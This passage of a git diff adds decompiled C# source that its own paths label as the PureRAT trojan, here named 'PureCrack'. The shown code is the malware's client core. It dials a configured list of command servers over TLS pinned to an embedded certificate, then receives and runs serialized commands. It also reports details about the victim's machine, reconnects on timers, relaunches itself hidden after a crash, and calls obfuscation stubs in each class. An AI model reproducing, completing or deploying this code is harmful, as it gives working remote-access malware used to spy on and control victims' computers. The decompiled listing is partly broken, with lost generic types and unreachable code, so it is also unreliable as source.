X509Certificate2(Convert.FromBase64String(Class9.gclass3_0.String_0)); + } + + // Token: 0x0600005B RID: 91 RVA: 0x00008CD4 File Offset: 0x00006ED4 + internal static void smethod_4() + { + try + { + Class0.SetProcessDPIAware(); + } + catch + { + } + Class9.smethod_3(); + if (!Class6.smethod_0(Class9.gclass3_0.stadrmoOn1)) + { + Environment.Exit(0); + } + try + { + if (Class9.gclass3_0.Boolean_0) + { + ThreadStart start; + if ((start = Class9.__c.threadStart_0) == null) + { + start = (Class9.__c.threadStart_0 = new ThreadStart(Class9.__c.__c_0.method_0)); + } + new Thread(start).Start(); + } + } + catch + { + } + try + { + if (Class9.gclass3_0.Boolean_1) + { + Class3.smethod_3(); + } + goto IL_306; + } + catch + { + goto IL_306; + } + goto IL_81; + IL_306: + while (Class9.bool_0) + { + byte[] array = new byte[4]; + while (Class9.bool_0) + { + try + { + Class9.a a = new Class9.a(); + int num = 4; + array = new byte[4]; + int num2 = 0; + while (num != 0) + { + int num3 = Class9.sslStream_0.Read(array, num2, num); + num2 += num3; + num -= num3; + if (num3 > 0) + { + if (num >= 0) + { + continue; + } + } + throw new Exception(); + } + num = BitConverter.ToInt32(array, 0); + if (num <= 0) + { + throw new Exception(); + } + array = new byte[num]; + num2 = 0; + while (num != 0) + { + int num3 = Class9.sslStream_0.Read(array, num2, num); + num2 += num3; + num -= num3; + if (num3 > 0) + { + if (num >= 0) + { + continue; + } + } + throw new Exception(); + } + a.field_a = GClass1.smethod_1(array); + new Thread(new ThreadStart(a.method_a)).Start(); + } + catch + { + Class9.smethod_9(); + break; + } + } + } + IL_81: + try + { + Thread.Sleep(5000); + try + { + Timer timer = Class9.timer_1; + if (timer != null) + { + timer.Dispose(); + } + Class9.int_1 = 0; + } + catch + { + } + try + { + Timer timer2 = Class9.timer_0; + if (timer2 != null) + { + timer2.Dispose(); + } + } + catch + { + } + try + { + SslStream sslStream = Class9.sslStream_0; + if (sslStream != null) + { + sslStream.Dispose(); + } + Socket socket = Class9.socket_0; + if (socket != null) + { + socket.Dispose(); + } + } + catch + { + } + if (!Class9.smethod_5()) + { + throw new Exception(); + } + Class9.sslStream_0 = new SslStream(new NetworkStream(Class9.socket_0, true), false, new RemoteCertificateValidationCallback(Class9.smethod_8)); + Class9.sslStream_0.ReadTimeout = (int)TimeSpan.FromMinutes(5.0).TotalMilliseconds; + Class9.sslStream_0.WriteTimeout = (int)TimeSpan.FromMinutes(5.0).TotalMilliseconds; + Class9.sslStream_0.AuthenticateAsClient(Class9.socket_0.RemoteEndPoint.ToString().Split(new char[] + { + ':' + })[0], null, SslProtocols.Tls, false); + Class9.smethod_0(true); + int num4 = new GClass12().method_2(20, 60); + Class9.timer_0 = new Timer(new TimerCallback(Class9.smethod_6), null, (int)TimeSpan.FromSeconds((double)num4).TotalMilliseconds, (int)TimeSpan.FromSeconds((double)num4).TotalMilliseconds); + if (Class9.gclass4_0 == null) + { + Class9.smethod_2(new GClass4 + { + String_0 = Class4.smethod_2(), + smFdyqYylo = Class4.smethod_0(), + Boolean_0 = Class4.smethod_6(), + String_3 = Class4.d(), + String_2 = Class4.smethod_3(), + QnsdsyyYrB = "4.4.1", + String_1 = Class4.smethod_5(), + Int32_2 = Class9.int_2, + String_5 = Class3.smethod_0(), + String_9 = Class3.smethod_2(), + String_7 = Class9.gclass3_0.String_1, + String_8 = Class4.h() + }); + } + Class9.gclass4_0.String_4 = ((IPEndPoint)Class9.socket_0.RemoteEndPoint).Address.ToString(); + Class9.gclass4_0.Int32_1 = ((IPEndPoint)Class9.socket_0.RemoteEndPoint).Port; + Class9.gclass4_0.Byte_0 = Class4.i(60); + Class9.gclass4_0.String_10 = Class3.d(); + Class9.h(Class9.gclass4_0); + Class9.gclass4_0.String_10 = null; + Class9.gclass4_0.Byte_0 = null; + } + catch + { + Class9.smethod_9(); + } + goto IL_306; + } + + // Token: 0x0600005C RID: 92 RVA: 0x00009198 File Offset: 0x00007398 + private static bool smethod_5() + { + List list = new List(); + List list2 = new List(); + list = Class9.gclass3_0.List_0; + list2 = Class9.gclass3_0.List_1; + try + { + GClass3 gclass = (GClass3)GClass1.smethod_1(Class7.smethod_0(Class4.smethod_0())); + if (gclass != null && gclass.List_0.Count > 0 && gclass.List_1.Count > 0) + { + list = gclass.List_0; + list2 = gclass.List_1; + } + } + catch + { + list = Class9.gclass3_0.List_0; + list2 = Class9.gclass3_0.List_1; + } + using (List.Enumerator enumerator = list.GetEnumerator()) + { + while (enumerator.MoveNext()) + { + string text = enumerator.Current; + if (!Class9.d(text)) + { + foreach (int port in list2) + { + try + { + try + { + Socket socket = Class9.socket_0; + if (socket != null) + { + socket.Dispose(); + } + } + catch + { + } + Class9.socket_0 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + Class9.socket_0.ReceiveBufferSize = Class9.int_0; + Class9.socket_0.SendBufferSize = Class9.int_0; + Class9.socket_0.Connect(text, port); + if (Class9.socket_0.Connected) + { + return true; + } + } + catch + { + } + } + } + else + { + foreach (IPAddress address in Dns.GetHostAddresses(text)) + { + using (List.Enumerator enumerator2 = Class9.gclass3_0.List_1.GetEnumerator()) + { + while (enumerator2.MoveNext()) + { + int port2 = enumerator2.Current; + try + { + try + { + Socket socket2 = Class9.socket_0; + if (socket2 != null) + { + socket2.Dispose(); + } + } + catch + { + } + Class9.socket_0 = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); + Class9.socket_0.ReceiveBufferSize = Class9.int_0; + Class9.socket_0.SendBufferSize = Class9.int_0; + Class9.socket_0.NoDelay = true; + Class9.socket_0.Connect(address, port2); + if (Class9.socket_0.Connected) + { + return true; + } + } + catch + { + } + } + goto IL_205; + } + continue; + IL_205:; + } + } + } + return false; + } + bool result; + return result; + } + + // Token: 0x0600005D RID: 93 RVA: 0x00009498 File Offset: 0x00007698 + private static bool d(string a) + { + bool result; + try + { + if (Uri.CheckHostName(a) != UriHostNameType.Dns) + { + result = false; + } + else + { + result = (Dns.GetHostAddresses(a).Length != 0); + } + } + catch + { + result = false; + } + return result; + } + + // Token: 0x0600005E RID: 94 RVA: 0x000094D8 File Offset: 0x000076D8 + private static void smethod_6(object object_2) + { + try + { + try + { + Timer timer = Class9.timer_1; + if (timer != null) + { + timer.Dispose(); + } + } + catch + { + } + Thread.Sleep(10); + try + { + Interlocked.Exchange(ref Class9.int_1, 0); + } + catch + { + } + Class9.h(new GClass8()); + Thread.Sleep(40); + try + { + Class9.timer_1 = new Timer(new TimerCallback(Class9.smethod_7), null, 1, 1); + } + catch + { + } + } + catch + { + Class9.smethod_9(); + } + } + + // Token: 0x0600005F RID: 95 RVA: 0x00009580 File Offset: 0x00007780 + private static void smethod_7(object object_2) + { + try + { + Interlocked.Increment(ref Class9.int_1); + } + catch + { + Class9.smethod_9(); + } + } + + // Token: 0x06000060 RID: 96 RVA: 0x00002483 File Offset: 0x00000683 + private static bool smethod_8(object object_2, X509Certificate x509Certificate_0, object object_3, SslPolicyErrors sslPolicyErrors_0) + { + return Class9.x509Certificate2_0.Equals(x509Certificate_0); + } + + // Token: 0x06000061 RID: 97 RVA: 0x000095B4 File Offset: 0x000077B4 + internal static void h(GClass2 a) + { + object obj = Class9.object_0; + lock (obj) + { + try + { + if (Class9.sslStream_0 == null || !Class9.sslStream_0.CanWrite) + { + throw new InvalidOperationException(); + } + byte[] array = GClass1.smethod_0(a); + int num = array.Length; + byte[] bytes = BitConverter.GetBytes(num); + Class9.socket_0.Poll(-1, SelectMode.SelectWrite); + Class9.sslStream_0.Write(bytes, 0, bytes.Length); + int num2; + for (int i = 0; i < num; i += num2) + { + num2 = Math.Min(Class9.int_0, num - i); + Class9.socket_0.Poll(-1, SelectMode.SelectWrite); + Class9.sslStream_0.Write(array, i, num2); + } + Class9.sslStream_0.Flush(); + } + catch + { + Class9.smethod_9(); + } + } + } + + // Token: 0x06000062 RID: 98 RVA: 0x00002490 File Offset: 0x00000690 + internal static void i(string a) + { + if (Class9.bool_0) + { + Class9.h(new GClass9 + { + String_0 = a + }); + return; + } + } + + // Token: 0x06000063 RID: 99 RVA: 0x00009694 File Offset: 0x00007894 + internal static void smethod_9() + { + if (Class9.bool_0) + { + Class9.smethod_0(false); + try + { + Timer timer = Class9.timer_1; + if (timer != null) + { + timer.Dispose(); + } + } + catch + { + } + try + { + Timer timer2 = Class9.timer_0; + if (timer2 != null) + { + timer2.Dispose(); + } + } + catch + { + } + try + { + Class9.socket_0.Shutdown(SocketShutdown.Both); + } + catch + { + } + try + { + SslStream sslStream = Class9.sslStream_0; + if (sslStream != null) + { + sslStream.Dispose(); + } + } + catch + { + } + try + { + Class9.sslStream_0 = null; + } + catch + { + } + try + { + Socket socket = Class9.socket_0; + if (socket != null) + { + socket.Dispose(); + } + } + catch + { + } + try + { + Class9.socket_0 = null; + } + catch + { + } + return; + } + } + + // Token: 0x06000064 RID: 100 RVA: 0x000024AB File Offset: 0x000006AB + // Note: this type is marked as 'beforefieldinit'. + static Class9() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + Class9.int_0 = 512000; + Class9.object_0 = new object(); + Class9.int_2 = 4; + } + + // Token: 0x06000065 RID: 101 RVA: 0x000024CC File Offset: 0x000006CC + internal static bool smethod_10() + { + return Class9.object_1 == null; + } + + // Token: 0x0400002D RID: 45 + private static readonly int int_0; + + // Token: 0x0400002E RID: 46 + [CompilerGenerated] + private static bool bool_0; + + // Token: 0x0400002F RID: 47 + [CompilerGenerated] + private static GClass4 gclass4_0; + + // Token: 0x04000030 RID: 48 + private static Socket socket_0; + + // Token: 0x04000031 RID: 49 + private static SslStream sslStream_0; + + // Token: 0x04000032 RID: 50 + private static readonly object object_0; + + // Token: 0x04000033 RID: 51 + private static Timer timer_0; + + // Token: 0x04000034 RID: 52 + internal static Timer timer_1; + + // Token: 0x04000035 RID: 53 + private static X509Certificate2 x509Certificate2_0; + + // Token: 0x04000036 RID: 54 + internal static GClass3 gclass3_0; + + // Token: 0x04000037 RID: 55 + internal static int int_1; + + // Token: 0x04000038 RID: 56 + private static readonly int int_2; + + // Token: 0x04000039 RID: 57 + private static object object_1; + + // Compiler-generated singleton class (originally <>c) + [CompilerGenerated] + private sealed class __c + { + public static readonly Class9.__c __c_0 = new Class9.__c(); + public static ThreadStart threadStart_0; + + internal void method_0() + { + Class8.pwfVayjWiK(); + } + } + + // Token: 0x02000015 RID: 21 + [CompilerGenerated] + private sealed class a + { + // Token: 0x0600006B RID: 107 RVA: 0x000024F1 File Offset: 0x000006F1 + internal void method_a() + { + new Class2().method_0(this.field_a); + } + + // Token: 0x0600006C RID: 108 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static a() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x0600006D RID: 109 RVA: 0x00002503 File Offset: 0x00000703 + internal static bool smethod_0() + { + return Class9.a.a_0 == null; + } + + // Token: 0x0400003D RID: 61 + public GClass2 field_a; + + // Token: 0x0400003E RID: 62 + internal static Class9.a a_0; + } +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.GClass0.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass0.cs new file mode 100644 index 0000000..ded385b --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass0.cs @@ -0,0 +1,54 @@ +using System; +using System.Diagnostics; +using System.Threading; + +// Token: 0x02000002 RID: 2 +public class GClass0 +{ + // Token: 0x06000004 RID: 4 RVA: 0x000022E3 File Offset: 0x000004E3 + public static void smethod_0() + { + AppDomain.CurrentDomain.UnhandledException += GClass0.smethod_1; + Class9.smethod_4(); + } + + // Token: 0x06000005 RID: 5 RVA: 0x00006BAC File Offset: 0x00004DAC + private static void smethod_1(object sender, UnhandledExceptionEventArgs e) + { + if (e.IsTerminating) + { + Thread.Sleep(2000); + try + { + string fileName = Process.GetCurrentProcess().MainModule.FileName; + if (!fileName.ToLower().Contains(Environment.GetFolderPath(Environment.SpecialFolder.Windows).ToLower())) + { + Process.Start(new ProcessStartInfo + { + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = true, + FileName = fileName + }); + } + } + catch { } + Environment.Exit(0); + } + } + + // Token: 0x06000007 RID: 7 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass0() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000008 RID: 8 RVA: 0x0000230F File Offset: 0x0000050F + internal static bool smethod_2() + { + return GClass0.object_0 == null; + } + + // Token: 0x04000002 RID: 2 + private static object object_0; +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.GClass1.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass1.cs new file mode 100644 index 0000000..87fda14 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass1.cs @@ -0,0 +1,48 @@ +using System; +using System.IO; +using ProtoBuf; + +// Token: 0x02000016 RID: 22 +public static class GClass1 +{ + // Token: 0x0600006E RID: 110 RVA: 0x000097B4 File Offset: 0x000079B4 + public static byte[] smethod_0(GClass2 object_1) + { + byte[] result; + using (MemoryStream memoryStream = new MemoryStream()) + { + Serializer.Serialize(memoryStream, object_1); + memoryStream.Position = 0L; + result = GClass14.smethod_0(memoryStream.ToArray()); + } + return result; + } + + // Token: 0x0600006F RID: 111 RVA: 0x00009808 File Offset: 0x00007A08 + public static GClass2 smethod_1(byte[] byte_0) + { + GClass2 result; + using (MemoryStream memoryStream = new MemoryStream(GClass14.smethod_1(byte_0))) + { + memoryStream.Position = 0L; + result = Serializer.Deserialize(memoryStream); + } + return result; + } + + // Token: 0x06000070 RID: 112 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass1() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000071 RID: 113 RVA: 0x0000250D File Offset: 0x0000070D + internal static bool smethod_2() + { + return GClass1.object_0 == null; + } + + // Token: 0x0400003F RID: 63 + internal static object object_0; +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.GClass10.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass10.cs new file mode 100644 index 0000000..3fc9fc6 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass10.cs @@ -0,0 +1,54 @@ +using System; +using System.Runtime.CompilerServices; +using ProtoBuf; + +// Token: 0x0200001E RID: 30 +[ProtoContract] +public class GClass10 : GClass2 +{ + // Token: 0x1700002A RID: 42 + // (get) Token: 0x060000D9 RID: 217 RVA: 0x0000283C File Offset: 0x00000A3C + // (set) Token: 0x060000DA RID: 218 RVA: 0x00002844 File Offset: 0x00000A44 + [ProtoMember(1)] + public GClass11 GClass11_0 { get; set; } + + // Token: 0x1700002B RID: 43 + // (get) Token: 0x060000DB RID: 219 RVA: 0x0000284D File Offset: 0x00000A4D + // (set) Token: 0x060000DC RID: 220 RVA: 0x00002855 File Offset: 0x00000A55 + [ProtoMember(2)] + public bool Boolean_0 { get; set; } + + // Token: 0x1700002C RID: 44 + // (get) Token: 0x060000DD RID: 221 RVA: 0x0000285E File Offset: 0x00000A5E + // (set) Token: 0x060000DE RID: 222 RVA: 0x00002866 File Offset: 0x00000A66 + [ProtoMember(3)] + public string String_0 { get; set; } + + // Token: 0x060000E0 RID: 224 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass10() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x060000E1 RID: 225 RVA: 0x0000286F File Offset: 0x00000A6F + internal static bool smethod_1() + { + return GClass10.object_1 == null; + } + + // Token: 0x04000070 RID: 112 + [CompilerGenerated] + private GClass11 gclass11_0; + + // Token: 0x04000071 RID: 113 + [CompilerGenerated] + private bool bool_0; + + // Token: 0x04000072 RID: 114 + [CompilerGenerated] + private string string_0; + + // Token: 0x04000073 RID: 115 + private static object object_1; +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.GClass11.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass11.cs new file mode 100644 index 0000000..6ee68f8 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass11.cs @@ -0,0 +1,54 @@ +using System; +using System.Runtime.CompilerServices; +using ProtoBuf; + +// Token: 0x0200001F RID: 31 +[ProtoContract] +public class GClass11 : GClass2 +{ + // Token: 0x1700002D RID: 45 + // (get) Token: 0x060000E2 RID: 226 RVA: 0x00002879 File Offset: 0x00000A79 + // (set) Token: 0x060000E3 RID: 227 RVA: 0x00002881 File Offset: 0x00000A81 + [ProtoMember(1)] + public string String_0 { get; set; } + + // Token: 0x1700002E RID: 46 + // (get) Token: 0x060000E4 RID: 228 RVA: 0x0000288A File Offset: 0x00000A8A + // (set) Token: 0x060000E5 RID: 229 RVA: 0x00002892 File Offset: 0x00000A92 + [ProtoMember(2)] + public byte[] Byte_0 { get; set; } + + // Token: 0x1700002F RID: 47 + // (get) Token: 0x060000E6 RID: 230 RVA: 0x0000289B File Offset: 0x00000A9B + // (set) Token: 0x060000E7 RID: 231 RVA: 0x000028A3 File Offset: 0x00000AA3 + [ProtoMember(3)] + public string String_1 { get; set; } + + // Token: 0x060000E9 RID: 233 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass11() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x060000EA RID: 234 RVA: 0x000028AC File Offset: 0x00000AAC + internal static bool smethod_1() + { + return GClass11.object_1 == null; + } + + // Token: 0x04000074 RID: 116 + [CompilerGenerated] + private string string_0; + + // Token: 0x04000075 RID: 117 + [CompilerGenerated] + private byte[] byte_0; + + // Token: 0x04000076 RID: 118 + [CompilerGenerated] + private string string_1; + + // Token: 0x04000077 RID: 119 + private static object object_1; +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.GClass12.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass12.cs new file mode 100644 index 0000000..5179764 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass12.cs @@ -0,0 +1,72 @@ +using System; +using System.Security.Cryptography; + +// Token: 0x02000021 RID: 33 +public class GClass12 +{ + // Token: 0x060000EE RID: 238 RVA: 0x00009854 File Offset: 0x00007A54 + private static Random smethod_0() + { + if (GClass12.random_0 == null) + { + byte[] array = new byte[4]; + GClass12.randomNumberGenerator_0.GetBytes(array); + GClass12.random_0 = new Random(BitConverter.ToInt32(array, 0)); + } + return GClass12.random_0; + } + + // Token: 0x060000EF RID: 239 RVA: 0x000028C0 File Offset: 0x00000AC0 + public int method_0() + { + return GClass12.smethod_0().Next(); + } + + // Token: 0x060000F0 RID: 240 RVA: 0x000028CC File Offset: 0x00000ACC + public int method_1(int int_0) + { + return GClass12.smethod_0().Next(int_0); + } + + // Token: 0x060000F1 RID: 241 RVA: 0x000028D9 File Offset: 0x00000AD9 + public int method_2(int int_0, int int_1) + { + return GClass12.smethod_0().Next(int_0, int_1); + } + + // Token: 0x060000F2 RID: 242 RVA: 0x000028E7 File Offset: 0x00000AE7 + public void method_3(byte[] byte_0) + { + GClass12.smethod_0().NextBytes(byte_0); + } + + // Token: 0x060000F3 RID: 243 RVA: 0x000028F4 File Offset: 0x00000AF4 + public double method_4() + { + return GClass12.smethod_0().NextDouble(); + } + + // Token: 0x060000F5 RID: 245 RVA: 0x00002900 File Offset: 0x00000B00 + // Note: this type is marked as 'beforefieldinit'. + static GClass12() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + GClass12.randomNumberGenerator_0 = RandomNumberGenerator.Create(); + } + + // Token: 0x060000F6 RID: 246 RVA: 0x00002911 File Offset: 0x00000B11 + internal static bool smethod_1() + { + return GClass12.object_0 == null; + } + + // Token: 0x04000079 RID: 121 + private static readonly RandomNumberGenerator randomNumberGenerator_0; + + // Token: 0x0400007A RID: 122 + [ThreadStatic] + private static Random random_0; + + // Token: 0x0400007B RID: 123 + private static object object_0; +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.GClass13.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass13.cs new file mode 100644 index 0000000..8e5b292 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass13.cs @@ -0,0 +1,36 @@ +using System; + +// Token: 0x02000022 RID: 34 +public static class GClass13 +{ + // Token: 0x060000F7 RID: 247 RVA: 0x0000291B File Offset: 0x00000B1B + public static bool smethod_0(this string string_0) + { + return string.IsNullOrEmpty(string_0) || string.IsNullOrWhiteSpace(string_0) || string_0.Length <= 0; + } + + // Token: 0x060000F8 RID: 248 RVA: 0x0000293D File Offset: 0x00000B3D + public static string smethod_1(this object object_1, string string_0) + { + return string.Join(string_0, new string[] + { + object_1.ToString().Trim() + }); + } + + // Token: 0x060000F9 RID: 249 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass13() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x060000FA RID: 250 RVA: 0x00002959 File Offset: 0x00000B59 + internal static bool smethod_2() + { + return GClass13.object_0 == null; + } + + // Token: 0x0400007C RID: 124 + internal static object object_0; +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.GClass14.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass14.cs new file mode 100644 index 0000000..5486a1c --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass14.cs @@ -0,0 +1,57 @@ +using System; +using System.IO; +using System.IO.Compression; + +// Token: 0x02000024 RID: 36 +public static class GClass14 +{ + // Token: 0x060000FB RID: 251 RVA: 0x00009890 File Offset: 0x00007A90 + public static byte[] smethod_0(byte[] byte_0) + { + byte[] result; + using (MemoryStream memoryStream = new MemoryStream()) + { + using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Compress)) + { + gzipStream.Write(byte_0, 0, byte_0.Length); + gzipStream.Close(); + result = memoryStream.ToArray(); + } + } + return result; + } + + // Token: 0x060000FC RID: 252 RVA: 0x000098F8 File Offset: 0x00007AF8 + public static byte[] smethod_1(byte[] byte_0) + { + byte[] result; + using (MemoryStream memoryStream = new MemoryStream(byte_0)) + { + using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Decompress)) + { + using (MemoryStream memoryStream2 = new MemoryStream()) + { + gzipStream.CopyTo(memoryStream2); + result = memoryStream2.ToArray(); + } + } + } + return result; + } + + // Token: 0x060000FD RID: 253 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass14() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x060000FE RID: 254 RVA: 0x00002963 File Offset: 0x00000B63 + internal static bool smethod_2() + { + return GClass14.object_0 == null; + } + + // Token: 0x040000A6 RID: 166 + internal static object object_0; +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.GClass15.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass15.cs new file mode 100644 index 0000000..c592e79 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass15.cs @@ -0,0 +1,51 @@ +using System; +using System.Security.Cryptography; +using System.Text; + +// Token: 0x02000025 RID: 37 +public static class GClass15 +{ + // Token: 0x060000FF RID: 255 RVA: 0x00009974 File Offset: 0x00007B74 + public static string smethod_0(string string_0) + { + MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider(); + md5CryptoServiceProvider.ComputeHash(Encoding.ASCII.GetBytes(string_0)); + byte[] hash = md5CryptoServiceProvider.Hash; + StringBuilder stringBuilder = new StringBuilder(); + for (int i = 0; i < hash.Length; i++) + { + stringBuilder.Append(hash[i].ToString("x2")); + } + return stringBuilder.ToString(); + } + + // Token: 0x06000100 RID: 256 RVA: 0x000099D0 File Offset: 0x00007BD0 + public static string smethod_1(byte[] byte_0) + { + MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider(); + md5CryptoServiceProvider.ComputeHash(byte_0); + byte[] hash = md5CryptoServiceProvider.Hash; + StringBuilder stringBuilder = new StringBuilder(); + for (int i = 0; i < hash.Length; i++) + { + stringBuilder.Append(hash[i].ToString("x2")); + } + return stringBuilder.ToString(); + } + + // Token: 0x06000101 RID: 257 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass15() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000102 RID: 258 RVA: 0x0000296D File Offset: 0x00000B6D + internal static bool smethod_2() + { + return GClass15.object_0 == null; + } + + // Token: 0x040000A7 RID: 167 + private static object object_0; +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.GClass2.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass2.cs new file mode 100644 index 0000000..825f798 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass2.cs @@ -0,0 +1,31 @@ +using System; +using ProtoBuf; + +// Token: 0x02000020 RID: 32 +[ProtoInclude(2, typeof(GClass8))] +[ProtoInclude(1, typeof(GClass4))] +[ProtoContract] +[ProtoInclude(86, typeof(GClass10))] +[ProtoInclude(3, typeof(GClass9))] +[ProtoInclude(4, typeof(GClass7))] +[ProtoInclude(5, typeof(GClass11))] +[ProtoInclude(35, typeof(GClass6))] +[ProtoInclude(38, typeof(GClass3))] +public class GClass2 +{ + // Token: 0x060000EC RID: 236 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass2() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x060000ED RID: 237 RVA: 0x000028B6 File Offset: 0x00000AB6 + internal static bool smethod_0() + { + return GClass2.object_0 == null; + } + + // Token: 0x04000078 RID: 120 + private static object object_0; +} diff --git a/decompiled/purerat decompiled/PureCrack.assets.inner.GClass3.cs b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass3.cs new file mode 100644 index 0000000..ea4e132 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.assets.inner.GClass3.cs @@ -0,0 +1,131 @@ +using System; +using System.Collections.Generic; +using System.Runtime.CompilerServices; +using ProtoBuf; + +// Token: 0x02000017 RID: 23 +[ProtoContract] +public class GClass3 : GClass2 +{ + // Token: 0x17000001 RID: 1 + // (get) Token: 0x06000072 RID: 114 RVA: 0x00002517 File Offset: 0x00000717 + // (set) Token: 0x06000073 RID: 115 RVA: 0x0000251F File Offset: 0x0000071F + [ProtoMember(1)] + public List List_0 { get; set; } + + // Token: 0x17000002 RID: 2 + // (get) Token: 0x06000074 RID: 116 RVA: 0x00002528 File Offset: 0x00000728 + // (set) Token: 0x06000075 RID: 117 RVA: 0x00002530 File Offset: 0x00000730 + [ProtoMember(2)] + public List List_1 { get; set; } + + public GClass3() + { + List_0 = new List(); + List_1 = new List(); + } + + // Token: 0x17000003 RID: 3 + // (get) Token: 0x06000076 RID: 118 RVA: 0x00002539 File Offset: 0x00000739 + // (set) Token: 0x06000077 RID: 119 RVA: 0x00002541 File Offset: 0x00000741 + [ProtoMember(3)] + public string String_0 { get; set; } + + // Token: 0x17000004 RID: 4 + // (get) Token: 0x06000078 RID: 120 RVA: 0x0000254A File Offset: 0x0000074A + // (set) Token: 0x06000079 RID: 121 RVA: 0x00002552 File Offset: 0x00000752 + [ProtoMember(4)] + public string String_1 { get; set; } + + // Token: 0x17000005 RID: 5 + // (get) Token: 0x0600007A RID: 122 RVA: 0x0000255B File Offset: 0x0000075B + // (set) Token: 0x0600007B RID: 123 RVA: 0x00002563 File Offset: 0x00000763 + [ProtoMember(5)] + public bool Boolean_0 { get; set; } + + // Token: 0x17000006 RID: 6 + // (get) Token: 0x0600007C RID: 124 RVA: 0x0000256C File Offset: 0x0000076C + // (set) Token: 0x0600007D RID: 125 RVA: 0x00002574 File Offset: 0x00000774 + [ProtoMember(6)] + public bool Boolean_1 { get; set; } + + // Token: 0x17000007 RID: 7 + // (get) Token: 0x0600007E RID: 126 RVA: 0x0000257D File Offset: 0x0000077D + // (set) Token: 0x0600007F RID: 127 RVA: 0x00002585 File Offset: 0x00000785 + [ProtoMember(7)] + public string String_2 { get; set; } + + // Token: 0x17000008 RID: 8 + // (get) Token: 0x06000080 RID: 128 RVA: 0x0000258E File Offset: 0x0000078E + // (set) Token: 0x06000081 RID: 129 RVA: 0x00002596 File Offset: 0x00000796 + [ProtoMember(8)] + public string String_3 { get; set; } + + // Token: 0x17000009 RID: 9 + // (get) Token: 0x06000082 RID: 130 RVA: 0x0000259F File Offset: 0x0000079F + // (set) Token: 0x06000083 RID: 131 RVA: 0x000025A7 File Offset: 0x000007A7 + [ProtoMember(9)] + public string stadrmoOn1 { get; set; } + + // Token: 0x1700000A RID: 10 + // (get) Token: 0x06000084 RID: 132 RVA: 0x000025B0 File Offset: 0x000007B0 + // (set) Token: 0x06000085 RID: 133 RVA: 0x000025B8 File Offset: 0x000007B8 + [ProtoMember(10)] + public bool Boolean_2 { get; set; } + + // Token: 0x06000087 RID: 135 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static GClass3() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000088 RID: 136 RVA: 0x000025DF File Offset: 0x000007DF + internal static bool smethod_1() + { + return GClass3.object_1 == null; + } + + // Token: 0x04000040 RID: 64 + [CompilerGenerated] + private List list_0; + + // Token: 0x04000041 RID: 65 + [CompilerGenerated] + private List list_1; + + // Token: 0x04000042 RID: 66 + [CompilerGenerated] + private string string_0; + + // Token: 0x04000043 